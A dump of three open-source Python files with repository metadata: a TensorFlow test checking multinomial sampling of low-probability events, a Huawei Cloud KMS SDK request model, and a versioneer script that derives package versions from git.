c1669b489be0e045b3ec856b311b3139858de196
085b20a4b6287eff8c0b792425d52422ab8cbab3
refs/heads/r2.6/sdk-release-3.2
2023-07-06T06:23:53.857743
2023-03-14T13:04:04
2023-03-14T13:48:43
162,717,602
84
17
Apache-2.0
2023-03-25T01:13:37
2018-12-21T13:30:38
C++
UTF-8
Python
false
false
3,624
py
# Copyright 2017 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Long tests for Multinomial.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import numpy as np from tensorflow.python.framework import constant_op from tensorflow.python.framework import dtypes from tensorflow.python.framework import random_seed from tensorflow.python.framework import test_util from tensorflow.python.ops import random_ops from tensorflow.python.platform import test class MultinomialTest(test.TestCase): # check that events with tiny probabilities are not over-sampled def testLargeDynamicRange(self): random_seed.set_random_seed(10) counts_by_indices = {} with self.test_session(): samples = random_ops.multinomial( constant_op.constant([[-30, 0]], dtype=dtypes.float32), num_samples=1000000, seed=15) for _ in range(100): x = self.evaluate(samples) indices, counts = np.unique(x, return_counts=True) # pylint: disable=unexpected-keyword-arg for index, count in zip(indices, counts): if index in counts_by_indices.keys(): counts_by_indices[index] += count else: counts_by_indices[index] = count self.assertEqual(counts_by_indices[1], 100000000) def testLargeDynamicRange2(self): random_seed.set_random_seed(10) counts_by_indices = {} with self.test_session(): samples = random_ops.multinomial( constant_op.constant([[0, -30]], dtype=dtypes.float32), num_samples=1000000, seed=15) for _ in range(100): x = self.evaluate(samples) indices, counts = np.unique(x, return_counts=True) # pylint: disable=unexpected-keyword-arg for index, count in zip(indices, counts): if index in counts_by_indices.keys(): counts_by_indices[index] += count else: counts_by_indices[index] = count self.assertEqual(counts_by_indices[0], 100000000) @test_util.run_deprecated_v1 def testLargeDynamicRange3(self): random_seed.set_random_seed(10) counts_by_indices = {} # here the cpu undersamples and won't pass this test either with self.test_session(): samples = random_ops.multinomial( constant_op.constant([[0, -17]], dtype=dtypes.float32), num_samples=1000000, seed=22) # we'll run out of memory if we try to draw 1e9 samples directly # really should fit in 12GB of memory... for _ in range(100): x = self.evaluate(samples) indices, counts = np.unique(x, return_counts=True) # pylint: disable=unexpected-keyword-arg for index, count in zip(indices, counts): if index in counts_by_indices.keys(): counts_by_indices[index] += count else: counts_by_indices[index] = count self.assertGreater(counts_by_indices[1], 0) if __name__ == "__main__": test.main()
[ "gardener@tensorflow.org" ]
gardener@tensorflow.org
7db94008661c38b8142fa16719f0287d2a459e82
9b64f0f04707a3a18968fd8f8a3ace718cd597bc
/huaweicloud-sdk-kms/huaweicloudsdkkms/v1/model/enable_key_request.py
5b879f74aab865beeda3267d42cd6356f98b8914
[ "Apache-2.0" ]
permissive
jaminGH/huaweicloud-sdk-python-v3
eeecb3fb0f3396a475995df36d17095038615fba
83ee0e4543c6b74eb0898079c3d8dd1c52c3e16b
refs/heads/master
2023-06-18T11:49:13.958677
2021-07-16T07:57:47
2021-07-16T07:57:47
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,306
py
# coding: utf-8 import re import six class EnableKeyRequest: """ Attributes: openapi_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ sensitive_list = [] openapi_types = { 'version_id': 'str', 'body': 'OperateKeyRequestBody' } attribute_map = { 'version_id': 'version_id', 'body': 'body' } def __init__(self, version_id=None, body=None): """EnableKeyRequest - a model defined in huaweicloud sdk""" self._version_id = None self._body = None self.discriminator = None self.version_id = version_id if body is not None: self.body = body @property def version_id(self): """Gets the version_id of this EnableKeyRequest. API版本号 :return: The version_id of this EnableKeyRequest. :rtype: str """ return self._version_id @version_id.setter def version_id(self, version_id): """Sets the version_id of this EnableKeyRequest. API版本号 :param version_id: The version_id of this EnableKeyRequest. :type: str """ self._version_id = version_id @property def body(self): """Gets the body of this EnableKeyRequest. :return: The body of this EnableKeyRequest. :rtype: OperateKeyRequestBody """ return self._body @body.setter def body(self, body): """Sets the body of this EnableKeyRequest. :param body: The body of this EnableKeyRequest. :type: OperateKeyRequestBody """ self._body = body def to_dict(self): """Returns the model properties as a dict""" result = {} for attr, _ in six.iteritems(self.openapi_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: if attr in self.sensitive_list: result[attr] = "****" else: result[attr] = value return result def to_str(self): import simplejson as json return json.dumps(self.to_dict()) def __repr__(self): """For `print` and `pprint`""" return self.to_str() def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, EnableKeyRequest): return False return self.__dict__ == other.__dict__ def __ne__(self, other): """Returns true if both objects are not equal""" return not self == other
[ "hwcloudsdk@huawei.com" ]
hwcloudsdk@huawei.com
49f266bcdde94e700f1264ceb74b8c049c97c752
7652917fd86b44d07eb964a84375d98e23b67cae
/microsoft_auth/_version.py
5ad44ae74486c677671e152bcc1f42bc2986ea2c
[ "MIT" ]
permissive
ivaggione/django_microsoft_auth
2725881ba423cd44ccdf3092a32bbb570ea0e3fc
8f838cbaa5ff200b89984b06e1fe921f9a0ee3c8
refs/heads/master
2023-02-21T23:29:06.079728
2023-02-15T00:33:13
2023-02-15T00:33:13
233,593,809
0
0
MIT
2020-01-13T12:47:07
2020-01-13T12:47:06
null
UTF-8
Python
false
false
18,609
py
# This file helps to compute a version number in source trees obtained from # git-archive tarball (such as those provided by githubs download-from-tag # feature). Distribution tarballs (built by setup.py sdist) and build # directories (produced by setup.py build) will contain a much shorter file # that just contains the computed version number. # This file is released into the public domain. Generated by # versioneer-0.18 (https://github.com/warner/python-versioneer) """Git implementation of _version.py.""" import errno import os import re import subprocess # nosec import sys def get_keywords(): """Get the keywords needed to look up the version information.""" # these strings will be replaced by git during git-archive. # setup.py/versioneer.py will grep for the variable names, so they must # each be defined on a line of their own. _version.py will just call # get_keywords(). git_refnames = "$Format:%d$" git_full = "$Format:%H$" git_date = "$Format:%ci$" keywords = {"refnames": git_refnames, "full": git_full, "date": git_date} return keywords class VersioneerConfig: """Container for Versioneer configuration parameters.""" def get_config(): """Create, populate and return the VersioneerConfig() object.""" # these strings are filled in when 'setup.py versioneer' creates # _version.py cfg = VersioneerConfig() cfg.VCS = "git" cfg.style = "pep440" cfg.tag_prefix = "" cfg.parentdir_prefix = "microsoft_auth-" cfg.versionfile_source = "microsoft_auth/_version.py" cfg.verbose = False return cfg class NotThisMethod(Exception): """Exception raised if a method is not valid for the current scenario.""" LONG_VERSION_PY = {} HANDLERS = {} def register_vcs_handler(vcs, method): # decorator """Decorator to mark a method as the handler for a particular VCS.""" def decorate(f): """Store f in HANDLERS[vcs][method].""" if vcs not in HANDLERS: HANDLERS[vcs] = {} HANDLERS[vcs][method] = f return f return decorate def run_command( commands, args, cwd=None, verbose=False, hide_stderr=False, env=None ): """Call the given command(s).""" assert isinstance(commands, list) # nosec p = None for c in commands: try: dispcmd = str([c] + args) # remember shell=False, so use git.cmd on windows, not just git p = subprocess.Popen( # nosec [c] + args, cwd=cwd, env=env, stdout=subprocess.PIPE, stderr=(subprocess.PIPE if hide_stderr else None), ) break except EnvironmentError: e = sys.exc_info()[1] if e.errno == errno.ENOENT: continue if verbose: print("unable to run %s" % dispcmd) print(e) return None, None else: if verbose: print("unable to find command, tried %s" % (commands,)) return None, None stdout = p.communicate()[0].strip() if sys.version_info[0] >= 3: stdout = stdout.decode() if p.returncode != 0: if verbose: print("unable to run %s (error)" % dispcmd) print("stdout was %s" % stdout) return None, p.returncode return stdout, p.returncode def versions_from_parentdir(parentdir_prefix, root, verbose): """Try to determine the version from the parent directory name. Source tarballs conventionally unpack into a directory that includes both the project name and a version string. We will also support searching up two directory levels for an appropriately named parent directory """ rootdirs = [] for i in range(3): dirname = os.path.basename(root) if dirname.startswith(parentdir_prefix): return { "version": dirname[len(parentdir_prefix) :], "full-revisionid": None, "dirty": False, "error": None, "date": None, } else: rootdirs.append(root) root = os.path.dirname(root) # up a level if verbose: print( "Tried directories %s but none started with prefix %s" % (str(rootdirs), parentdir_prefix) ) raise NotThisMethod("rootdir doesn't start with parentdir_prefix") @register_vcs_handler("git", "get_keywords") def git_get_keywords(versionfile_abs): """Extract version information from the given file.""" # the code embedded in _version.py can just fetch the value of these # keywords. When used from setup.py, we don't want to import _version.py, # so we do it with a regexp instead. This function is not used from # _version.py. keywords = {} try: f = open(versionfile_abs, "r") for line in f.readlines(): if line.strip().startswith("git_refnames ="): mo = re.search(r'=\s*"(.*)"', line) if mo: keywords["refnames"] = mo.group(1) if line.strip().startswith("git_full ="): mo = re.search(r'=\s*"(.*)"', line) if mo: keywords["full"] = mo.group(1) if line.strip().startswith("git_date ="): mo = re.search(r'=\s*"(.*)"', line) if mo: keywords["date"] = mo.group(1) f.close() except EnvironmentError: pass return keywords @register_vcs_handler("git", "keywords") def git_versions_from_keywords(keywords, tag_prefix, verbose): """Get version information from git keywords.""" if not keywords: raise NotThisMethod("no keywords at all, weird") date = keywords.get("date") if date is not None: # git-2.2.0 added "%cI", which expands to an ISO-8601 -compliant # datestamp. However we prefer "%ci" (which expands to an "ISO-8601 # -like" string, which we must then edit to make compliant), because # it's been around since git-1.5.3, and it's too difficult to # discover which version we're using, or to work around using an # older one. date = date.strip().replace(" ", "T", 1).replace(" ", "", 1) refnames = keywords["refnames"].strip() if refnames.startswith("$Format"): if verbose: print("keywords are unexpanded, not using") raise NotThisMethod("unexpanded keywords, not a git-archive tarball") refs = set([r.strip() for r in refnames.strip("()").split(",")]) # starting in git-1.8.3, tags are listed as "tag: foo-1.0" instead of # just "foo-1.0". If we see a "tag: " prefix, prefer those. TAG = "tag: " tags = set([r[len(TAG) :] for r in refs if r.startswith(TAG)]) if not tags: # Either we're using git < 1.8.3, or there really are no tags. We use # a heuristic: assume all version tags have a digit. The old git %d # expansion behaves like git log --decorate=short and strips out the # refs/heads/ and refs/tags/ prefixes that would let us distinguish # between branches and tags. By ignoring refnames without digits, we # filter out many common branch names like "release" and # "stabilization", as well as "HEAD" and "master". tags = set([r for r in refs if re.search(r"\d", r)]) if verbose: print("discarding '%s', no digits" % ",".join(refs - tags)) if verbose: print("likely tags: %s" % ",".join(sorted(tags))) for ref in sorted(tags): # sorting will prefer e.g. "2.0" over "2.0rc1" if ref.startswith(tag_prefix): r = ref[len(tag_prefix) :] if verbose: print("picking %s" % r) return { "version": r, "full-revisionid": keywords["full"].strip(), "dirty": False, "error": None, "date": date, } # no suitable tags, so version is "0+unknown", but full hex is still there if verbose: print("no suitable tags, using unknown + full revision id") return { "version": "0+unknown", "full-revisionid": keywords["full"].strip(), "dirty": False, "error": "no suitable tags", "date": None, } @register_vcs_handler("git", "pieces_from_vcs") def git_pieces_from_vcs(tag_prefix, root, verbose, run_command=run_command): """Get version from 'git describe' in the root of the source tree. This only gets called if the git-archive 'subst' keywords were *not* expanded, and _version.py hasn't already been rewritten with a short version string, meaning we're inside a checked out source tree. """ GITS = ["git"] if sys.platform == "win32": GITS = ["git.cmd", "git.exe"] out, rc = run_command( GITS, ["rev-parse", "--git-dir"], cwd=root, hide_stderr=True ) if rc != 0: if verbose: print("Directory %s not under git control" % root) raise NotThisMethod("'git rev-parse --git-dir' returned error") # if there is a tag matching tag_prefix, this yields TAG-NUM-gHEX[-dirty] # if there isn't one, this yields HEX[-dirty] (no NUM) describe_out, rc = run_command( GITS, [ "describe", "--tags", "--dirty", "--always", "--long", "--match", "%s*" % tag_prefix, ], cwd=root, ) # --long was added in git-1.5.5 if describe_out is None: raise NotThisMethod("'git describe' failed") describe_out = describe_out.strip() full_out, rc = run_command(GITS, ["rev-parse", "HEAD"], cwd=root) if full_out is None: raise NotThisMethod("'git rev-parse' failed") full_out = full_out.strip() pieces = {} pieces["long"] = full_out pieces["short"] = full_out[:7] # maybe improved later pieces["error"] = None # parse describe_out. It will be like TAG-NUM-gHEX[-dirty] or HEX[-dirty] # TAG might have hyphens. git_describe = describe_out # look for -dirty suffix dirty = git_describe.endswith("-dirty") pieces["dirty"] = dirty if dirty: git_describe = git_describe[: git_describe.rindex("-dirty")] # now we have TAG-NUM-gHEX or HEX if "-" in git_describe: # TAG-NUM-gHEX mo = re.search(r"^(.+)-(\d+)-g([0-9a-f]+)$", git_describe) if not mo: # unparseable. Maybe git-describe is misbehaving? pieces["error"] = ( "unable to parse git-describe output: '%s'" % describe_out ) return pieces # tag full_tag = mo.group(1) if not full_tag.startswith(tag_prefix): if verbose: fmt = "tag '%s' doesn't start with prefix '%s'" print(fmt % (full_tag, tag_prefix)) pieces["error"] = "tag '%s' doesn't start with prefix '%s'" % ( full_tag, tag_prefix, ) return pieces pieces["closest-tag"] = full_tag[len(tag_prefix) :] # distance: number of commits since tag pieces["distance"] = int(mo.group(2)) # commit: short hex revision ID pieces["short"] = mo.group(3) else: # HEX: no tags pieces["closest-tag"] = None count_out, rc = run_command( GITS, ["rev-list", "HEAD", "--count"], cwd=root ) pieces["distance"] = int(count_out) # total number of commits # commit date: see ISO-8601 comment in git_versions_from_keywords() date = run_command(GITS, ["show", "-s", "--format=%ci", "HEAD"], cwd=root)[ 0 ].strip() pieces["date"] = date.strip().replace(" ", "T", 1).replace(" ", "", 1) return pieces def plus_or_dot(pieces): """Return a + if we don't already have one, else return a .""" if "+" in pieces.get("closest-tag", ""): return "." return "+" def render_pep440(pieces): """Build up version string, with post-release "local version identifier". Our goal: TAG[+DISTANCE.gHEX[.dirty]] . Note that if you get a tagged build and then dirty it, you'll get TAG+0.gHEX.dirty Exceptions: 1: no tags. git_describe was just HEX. 0+untagged.DISTANCE.gHEX[.dirty] """ if pieces["closest-tag"]: rendered = pieces["closest-tag"] if pieces["distance"] or pieces["dirty"]: rendered += plus_or_dot(pieces) rendered += "%d.g%s" % (pieces["distance"], pieces["short"]) if pieces["dirty"]: rendered += ".dirty" else: # exception #1 rendered = "0+untagged.%d.g%s" % (pieces["distance"], pieces["short"]) if pieces["dirty"]: rendered += ".dirty" return rendered def render_pep440_pre(pieces): """TAG[.post.devDISTANCE] -- No -dirty. Exceptions: 1: no tags. 0.post.devDISTANCE """ if pieces["closest-tag"]: rendered = pieces["closest-tag"] if pieces["distance"]: rendered += ".post.dev%d" % pieces["distance"] else: # exception #1 rendered = "0.post.dev%d" % pieces["distance"] return rendered def render_pep440_post(pieces): """TAG[.postDISTANCE[.dev0]+gHEX] . The ".dev0" means dirty. Note that .dev0 sorts backwards (a dirty tree will appear "older" than the corresponding clean one), but you shouldn't be releasing software with -dirty anyways. Exceptions: 1: no tags. 0.postDISTANCE[.dev0] """ if pieces["closest-tag"]: rendered = pieces["closest-tag"] if pieces["distance"] or pieces["dirty"]: rendered += ".post%d" % pieces["distance"] if pieces["dirty"]: rendered += ".dev0" rendered += plus_or_dot(pieces) rendered += "g%s" % pieces["short"] else: # exception #1 rendered = "0.post%d" % pieces["distance"] if pieces["dirty"]: rendered += ".dev0" rendered += "+g%s" % pieces["short"] return rendered def render_pep440_old(pieces): """TAG[.postDISTANCE[.dev0]] . The ".dev0" means dirty. Eexceptions: 1: no tags. 0.postDISTANCE[.dev0] """ if pieces["closest-tag"]: rendered = pieces["closest-tag"] if pieces["distance"] or pieces["dirty"]: rendered += ".post%d" % pieces["distance"] if pieces["dirty"]: rendered += ".dev0" else: # exception #1 rendered = "0.post%d" % pieces["distance"] if pieces["dirty"]: rendered += ".dev0" return rendered def render_git_describe(pieces): """TAG[-DISTANCE-gHEX][-dirty]. Like 'git describe --tags --dirty --always'. Exceptions: 1: no tags. HEX[-dirty] (note: no 'g' prefix) """ if pieces["closest-tag"]: rendered = pieces["closest-tag"] if pieces["distance"]: rendered += "-%d-g%s" % (pieces["distance"], pieces["short"]) else: # exception #1 rendered = pieces["short"] if pieces["dirty"]: rendered += "-dirty" return rendered def render_git_describe_long(pieces): """TAG-DISTANCE-gHEX[-dirty]. Like 'git describe --tags --dirty --always -long'. The distance/hash is unconditional. Exceptions: 1: no tags. HEX[-dirty] (note: no 'g' prefix) """ if pieces["closest-tag"]: rendered = pieces["closest-tag"] rendered += "-%d-g%s" % (pieces["distance"], pieces["short"]) else: # exception #1 rendered = pieces["short"] if pieces["dirty"]: rendered += "-dirty" return rendered def render(pieces, style): """Render the given version pieces into the requested style.""" if pieces["error"]: return { "version": "unknown", "full-revisionid": pieces.get("long"), "dirty": None, "error": pieces["error"], "date": None, } if not style or style == "default": style = "pep440" # the default if style == "pep440": rendered = render_pep440(pieces) elif style == "pep440-pre": rendered = render_pep440_pre(pieces) elif style == "pep440-post": rendered = render_pep440_post(pieces) elif style == "pep440-old": rendered = render_pep440_old(pieces) elif style == "git-describe": rendered = render_git_describe(pieces) elif style == "git-describe-long": rendered = render_git_describe_long(pieces) else: raise ValueError("unknown style '%s'" % style) return { "version": rendered, "full-revisionid": pieces["long"], "dirty": pieces["dirty"], "error": None, "date": pieces.get("date"), } def get_versions(): """Get version information or return default if unable to do so.""" # I am in _version.py, which lives at ROOT/VERSIONFILE_SOURCE. If we have # __file__, we can work backwards from there to the root. Some # py2exe/bbfreeze/non-CPython implementations don't do __file__, in which # case we can only use expanded keywords. cfg = get_config() verbose = cfg.verbose try: return git_versions_from_keywords( get_keywords(), cfg.tag_prefix, verbose ) except NotThisMethod: pass try: root = os.path.realpath(__file__) # versionfile_source is the relative path from the top of the source # tree (where the .git directory might live) to this file. Invert # this to find the root from __file__. for i in cfg.versionfile_source.split("/"): root = os.path.dirname(root) except NameError: return { "version": "0+unknown", "full-revisionid": None, "dirty": None, "error": "unable to find root of source tree", "date": None, } try: pieces = git_pieces_from_vcs(cfg.tag_prefix, root, verbose) return render(pieces, cfg.style) except NotThisMethod: pass try: if cfg.parentdir_prefix: return versions_from_parentdir(cfg.parentdir_prefix, root, verbose) except NotThisMethod: pass return { "version": "0+unknown", "full-revisionid": None, "dirty": None, "error": "unable to compute version", "date": None, }
[ "cbailey@mort.is" ]
cbailey@mort.is